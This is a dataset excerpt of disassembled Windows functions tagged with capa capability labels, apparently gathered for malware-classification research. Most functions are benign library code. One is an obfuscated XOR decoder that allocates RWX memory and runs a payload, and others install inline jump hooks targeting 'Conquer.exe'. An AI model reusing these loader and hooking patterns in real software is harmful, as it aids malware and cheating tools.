joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100354f0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x1003551b
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
push dword [ebp - 0xc]
push esi
call fcn.1000e340
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x10035544
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov edx, dword [ebp - 8]
test eax, eax
cmove edx, esi
mov dword [ebp - 8], edx
test edx, edx
jne 0x1003555a
lea eax, [ebp - 0xc]
push eax
push 0x100355e0
call dword [sym.imp.USER32.dll_EnumWindows]
mov edx, dword [ebp - 8]
test edx, edx
je 0x100355a1
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008baa8]
mov dword [ebp - 4], edx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1008ba20]
cmp eax, dword [ecx + 4]
jg 0x100355a8
jmp 0x1003557e
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [0x1008ba1c]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 8]
test eax, eax
pop esi
cmovne ecx, dword [ebp - 4]
mov eax, ecx
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
push 0x1008ba20
call fcn.1000e340
add esp, 4
cmp dword [0x1008ba20], 0xffffffff
jne 0x1003557b
push str.adobe.sccore.get.dialog.owner
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 0x1008ba20
mov dword [0x1008ba1c], eax
call fcn.1000e340
add esp, 4
jmp 0x1003557b

Function at 0x10035720
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061183
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1008ab18]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 1
call fcn.1000e340
mov edi, eax
mov ebx, edx
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x100357b8
mov dword [esi + 0xc], 0x20
mov eax, esi
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
mov eax, dword [0x1008b8f8]
test eax, eax
jne 0x100357cc
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov dword [eax + 0x52], edi
mov dword [eax + 0x56], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10035860
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x1003586f
push dword [ecx + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret
Function at 0x10035bb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1008ba4c]
test eax, eax
jne 0x10035c19
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10035c19
push esi
push 0x16c
call fcn.1000e340
add esp, 4
test eax, eax
je 0x10035be6
mov ecx, eax
call fcn.1000e340
mov esi, eax
jmp 0x10035be8
xor esi, esi
cmp byte [0x1008ba48], 0
jne 0x10035c02
mov ecx, esi
mov dword [0x1008ba4c], esi
call fcn.1001d780
mov eax, esi
pop esi
ret
push esi
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.1001d780
mov eax, esi
pop esi
ret

Function at 0x10035c20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1008a930]
cmp eax, 0xffffffff
je 0x10035c76
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c67
mov ecx, dword [0x1008ba4c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x1008ba4c], ecx
mov ecx, esi
call fcn.1001d7b0
mov ecx, esi
call fcn.1001d750
push 0x16c
push esi
call fcn.1000e340
add esp, 8
push 0
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret
Function at 0x2981996e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x2981997d
pop dword [ebp - 0x1c]
mov eax, 0x2981997d
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfa7cbb89
add dword [ebp - 0x2c], 0x53d589c2
mov dword [ebp - 0x28], 0x5f2fe5de
add dword [ebp - 0x28], 0xd3036667
mov dword [ebp - 0x24], 0xa01eb0d9
add dword [ebp - 0x24], 0xac2d9355
mov dword [ebp - 0x20], 0x4a263e7
add dword [ebp - 0x20], 0xfb5d9c19
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x852083b0
add eax, 0xa464ed10
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x68a2da2c
add dword [ebp - 0x2c], 0xbcf8f2a
mov dword [ebp - 0x28], 0xcc9ada56
add dword [ebp - 0x28], 0x74d1871f
mov dword [ebp - 0x24], 0xb8a4ea34
sub dword [ebp - 0x24], 0x55357dc8
mov dword [ebp - 0x20], 0xa73a9d26
add dword [ebp - 0x20], 0x58c562da
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xa96b59c8
add eax, 0x801a16f0
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x46c5c
push 0
call eax
mov ecx, 0x26785c25
sub ecx, 0x2678190b
xor esi, esi
add esi, eax
mov edx, 0x62eb6426
add edx, 0xc69dffda
add edx, dword [ebp - 0x1c]
mov edi, 0xcb599ba6
add dword [ebp - 8], ebx
mov ebx, dword [edx]
add dword [ebp - 8], ebx
xor ebx, edi
add dword [ebp - 4], edx
mov dword [esi], ebx
mov dword [ebp - 0x14], 0xfd80933a
add esi, 0xae4c7bc1
add esi, 0x51b38443
add edx, 4
loop 0x29819a96
add eax, 0xa092f58c
add eax, 0x5f6e09af
xor ebx, ebx
add ebx, eax
add eax, 0x23fa0067
sub eax, 0x23fa0062
mov ecx, 0x29800000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x100023f0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1004f670]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov dword [ebp - 0x18], 0x10051eb0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000244a
push 0x10051e40
mov esi, 0x1004a9d2
call fcn.10003190
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0x1000
push 0x10051eb0
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x10002482
push 0x10051e40
mov esi, 0x1004a9d2
call fcn.10003190
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x18], 0
jbe 0x100024a3
mov edx, dword [ebp - 0x18]
mov esi, dword [edx + 0x18]
add esi, 0x10051eb0
push 0x10051e40
call fcn.10003190
jmp 0x100024b2
push 0x10051e40
mov esi, 0x1004a9d2
call fcn.10003190
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000cbb0
mov esp, ebp
pop ebp
ret

Function at 0x10002aa0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0x1004aa5c
mov dword [ebp - 4], str.xxxxxxxxx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
push str.Conquer.exe
call fcn.10006390
add esp, 0xc
mov dword [0x10051dfc], eax
call fcn.1003bb20
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1003bff0
push 0x10002820
push 0x10051dfc
call fcn.1003b5b0
call fcn.1003bb80
test eax, eax
je 0x10002afe
push 0
call fcn.100133e0
mov esp, ebp
pop ebp
ret
Function at 0x10004d20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1003d579
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x1004f670]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov eax, dword [0x1004f670]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
xor esi, esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], ecx
cmp dword [ecx + 0x44], esi
je 0x10004f34
cmp byte [ecx + 0x49], 0
je 0x10004f34
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x10004f1c
push esi
push 8
lea ecx, [esp + 0x58]
call fcn.10004640
mov dword [esp + 0x80], esi
lea esp, [esp]
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x54]
call fcn.10004920
mov esi, eax
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x54]
mov byte [esp + 0x84], 1
call fcn.10004920
mov edi, eax
mov ecx, esi
mov byte [esp + 0x80], 2
call fcn.100055d0
mov ebx, dword [esp + 0x64]
mov ecx, edi
mov esi, eax
call fcn.100055d0
mov edx, dword [esp + 0x18]
mov ecx, dword [edx + 0x44]
mov edx, dword [ecx]
lea edi, [esp + 0x1c]
push edi
mov edi, dword [esp + 0x1c]
add ebx, esi
push ebx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [edx + 0x18]
call eax
lea ecx, [esp + 0x20]
mov esi, eax
mov byte [esp + 0x80], 1
call fcn.100010f0
lea ecx, [esp + 0x44]
mov byte [esp + 0x80], 0
call fcn.100010f0
mov eax, esi
sub eax, 0
je 0x10004e4e
dec eax
je 0x10004e52
sub eax, 2
mov dword [esp + 0x80], 0xffffffff
lea ecx, [esp + 0x50]
jne 0x10004f17
jmp 0x10004f2f
mov byte [edi + 0x49], 0
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x54]
call fcn.10004920
mov ecx, eax
mov byte [esp + 0x80], 3
call fcn.100055d0
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x2c]
sub esi, eax
mov byte [esp + 0x80], 0
call fcn.100010f0
test esi, esi
je 0x10004ec4
lea edx, [esp + 0x38]
push edx
lea ecx, [esp + 0x54]
call fcn.10004920
mov byte [esp + 0x80], 4
or dword [esp + 0x14], 1
mov ecx, eax
call fcn.100055d0
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.10012750
add esp, 0x10
cmp esi, eax
je 0x10004ec4
mov bl, 1
jmp 0x10004ec6
xor bl, bl
mov dword [esp + 0x80], 0
test byte [esp + 0x14], 1
je 0x10004ee6
and dword [esp + 0x14], 0xfffffffe
lea ecx, [esp + 0x38]
call fcn.100010f0
test bl, bl
jne 0x10004f08
cmp byte [edi + 0x49], bl
je 0x10004f20
test esi, esi
jne 0x10004da0
push esi
push 8
lea ecx, [esp + 0x58]
call fcn.100046f0
jmp 0x10004da0
mov dword [esp + 0x80], 0xffffffff
lea ecx, [esp + 0x50]
call fcn.10003160
xor al, al
jmp 0x10004f36
mov dword [esp + 0x80], 0xffffffff
lea ecx, [esp + 0x50]
call fcn.10003160
mov al, 1
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.1000cbb0
mov esp, ebp
pop ebp
ret
Function at 0x10005490
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d38b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004f670]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.100083f0
push 0x18
push 0x1004ab90
mov dword [ebp - 4], 0
call fcn.100076d0
push eax
push 4
call fcn.10007600
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1000551d
call fcn.10007ba0
mov dword [edi], eax
call fcn.100079b0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.10008380
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10005513
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.100083c0
jmp 0x1000551f
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push edi
call esi
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push 0x1005062c
call esi
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push 0x10050634
call esi
mov eax, dword [edi]
pop esi
cmp eax, dword [0x1005062c]
jne 0x100062e3
mov cl, byte [0x10050630]
cmp cl, byte [edi + 4]
jne 0x100062e3
mov eax, 0xb
mov esp, ebp
pop ebp
ret
cmp eax, dword [0x10050634]
jne 0x100062fb
mov dl, byte [0x10050638]
mov eax, 5
cmp dl, byte [edi + 4]
je 0x100062fe
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x10006310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [esi + 4]
push edi
push eax
mov edi, ebx
call fcn.10006290
mov dword [esi + 4], eax
add eax, 5
push eax
call fcn.10013920
mov edx, dword [esi + 4]
add esp, 8
lea ecx, [ebp - 8]
push ecx
push 0x40
add edx, 5
mov edi, eax
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 4]
push eax
push ebx
push edi
call fcn.10014770
mov ecx, dword [esi + 4]
mov byte [edi + ecx], 0xe9
mov eax, dword [esi + 4]
mov edx, ebx
sub edx, edi
sub edx, 5
mov dword [edi + eax + 1], edx
mov eax, dword [ebp + 8]
add esp, 0xc
sub eax, ebx
sub eax, 5
mov dword [ebp - 7], eax
mov dl, byte [ebp - 4]
mov byte [ebp - 8], 0xe9
mov ecx, dword [ebp - 8]
mov dword [ebx], ecx
mov byte [ebx + 4], dl
mov dword [esi], edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10006fe0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d784
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1004f670]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x80], ebx
mov dword [ebp - 4], 1
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x7c], bl
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x1000704d
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x1c]
lea esi, [ebp - 0x7c]
call fcn.10006d30
mov ecx, esi
call fcn.10006de0
mov eax, esi
push eax
mov esi, edi
call fcn.10006ec0
mov byte [ebp - 4], bl
cmp dword [ebp + 0x20], 0x10
mov dword [ebp - 0x80], 1
jb 0x10007086
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.100124d0
add esp, 4
lea ecx, [ebp + 8]
mov dword [ebp + 0x20], 0xf
mov dword [ebp + 0x1c], ebx
mov byte [ebp + 0xc], bl
call fcn.100049b0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000cbb0
mov esp, ebp
pop ebp
ret
Function at 0x1000cbb0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004f670]
jne 0x1000cbba
repz ret
jmp fcn.100190e0
Function at 0x1003a460
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1003a610
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1003a52d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1003a4aa
mov eax, dword [ebp - 4]
cmp eax, dword [0x1004f004]
ja 0x1003a4aa
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1003a47a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10014ae0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1003a4d0
jmp 0x1003a52d
cmp dword [ebp - 0x14], 0x10000
jne 0x1003a513
cmp dword [ebp - 0x18], 0x10000
jb 0x1003a513
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1003a506
mov eax, dword [ebp - 8]
jmp 0x1003a52f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1003a528
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1003a610
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1003a47a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003a540
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1003a640
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1003a605
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1003a585
mov eax, dword [ebp - 4]
cmp eax, dword [0x1004f004]
ja 0x1003a585
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1003a555
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10014ae0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1003a5ab
jmp 0x1003a605
cmp dword [ebp - 0x14], 0x10000
jne 0x1003a5ee
cmp dword [ebp - 0x18], 0x10000
jb 0x1003a5ee
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1003a5e1
mov eax, dword [ebp - 8]
jmp 0x1003a607
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1003a600
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1003a640
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1003a555
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1003ba10
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x100509f0], eax
je 0x1003ba2e
mov eax, 0x10dd
jmp 0x1003bb0f
mov eax, dword [0x10050a00]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1003baac
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1003ba8a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1003ba8a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1003aac0
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.100124d0
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1003ba36
mov dword [0x10050a00], 0
call fcn.1003b3a0
mov ecx, dword [0x100509fc]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1003baf9
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.100124d0
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1003bac4
mov dword [0x100509fc], 0
mov dword [0x100509f0], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003bff0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x100509f4], 0
je 0x1003c009
mov eax, dword [0x100509f4]
jmp 0x1003c0a9
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1003c01b
xor eax, eax
jmp 0x1003c0a9
push 8
call fcn.10013920
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1003c071
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1003c05a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.100124d0
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x100509f4], eax
mov dword [0x100509f8], 0
mov eax, dword [ebp - 8]
jmp 0x1003c0a9
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1003c08b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1003c03b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x100509fc]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x100509fc], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x1001fb3
Capabilities:
Initialize winsock library
Print debug messages

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x1001fdd
push eax
push 0x1001568
call sub.ntdll.dll_DbgPrint
pop ecx
pop ecx
add esp, 0x190
ret
push esi
mov esi, dword [sym.imp.msvcrt.dll_printf]
push 0x1001548
call esi
pop ecx
call fcn.01001cce
push 0x1001524
call esi
pop ecx
pop esi
add esp, 0x190
jmp fcn.01001eff

Function at 0x100209a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and byte [ebp - 1], 0
and byte [ebp - 5], 0
and byte [ebp - 9], 0
push ebx
push esi
push edi
xor edi, edi
push edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, edi
mov dword [0x1003204], eax
je 0x10020ca
push eax
call fcn.0100265f
mov esi, dword [ebp + 8]
cmp esi, 2
jl 0x10021a9
xor ebx, ebx
and dword [ebp - 0x10], ebx
dec esi
mov dword [ebp - 0x14], edi
mov dword [ebp + 8], edi
je 0x100217d
mov eax, dword [ebp + 0xc]
push 4
pop edx
mov ecx, eax
add eax, edx
test ecx, ecx
je 0x100217d
mov ecx, dword [eax]
cmp word [ecx], 0x2d
jne 0x100217d
movzx ecx, word [ecx + 2]
cmp ecx, 0x70
jg 0x100215b
je 0x1002152
sub ecx, 0x61
je 0x1002146
sub ecx, 3
je 0x100213d
dec ecx
je 0x1002131
dec ecx
jne 0x10021a9
dec esi
je 0x10021a9
add eax, edx
mov ecx, dword [eax]
mov dword [ebp - 0x14], ecx
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov ebx, dword [eax]
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov edi, dword [eax]
jmp 0x1002176
sub ecx, 0x71
je 0x1002172
dec ecx
je 0x100216c
dec ecx
jne 0x10021a9
mov byte [ebp - 1], 1
jmp 0x1002176
mov byte [ebp - 5], 1
jmp 0x1002176
mov byte [ebp - 9], 1
dec esi
jne 0x10020ee
xor eax, eax
test edi, edi
sete al
xor ecx, ecx
test ebx, ebx
sete cl
cmp ecx, eax
je 0x1002195
cmp byte [ebp - 1], 0
je 0x10021a9
test ebx, ebx
je 0x10021b9
test edi, edi
je 0x10021b9
cmp dword [ebp + 8], 0
jne 0x10021b9
cmp byte [ebp - 1], 0
jne 0x10021bf
push 0x10015b8
call dword [sym.imp.msvcrt.dll_printf]
pop ecx
push 1
jmp 0x1002223
cmp byte [ebp - 1], 0
je 0x10021c6
call fcn.01001fb3
jmp 0x1002212
cmp byte [ebp - 5], 0
jne 0x10021db
cmp byte [ebp - 9], 0
jne 0x10021db
jmp section..htext
test ebx, ebx
jne 0x10021e3
test edi, edi
je 0x10021e9
cmp byte [ebp - 5], 0
je 0x10021ff
push dword [ebp - 9]
push dword [ebp - 5]
push dword [ebp - 0x10]
push dword [ebp + 8]
push dword [ebp - 0x14]
call fcn.0100183a
jmp 0x100220f
push dword [ebp - 0x10]
push dword [ebp + 8]
push dword [ebp - 0x14]
push edi
push ebx
call fcn.01001b2d
mov dword [ebp - 0x18], eax
cmp dword [0x1003204], 0
je 0x1002220
call fcn.0100268f
push dword [ebp - 0x18]
call dword [sym.imp.msvcrt.dll_exit]
int3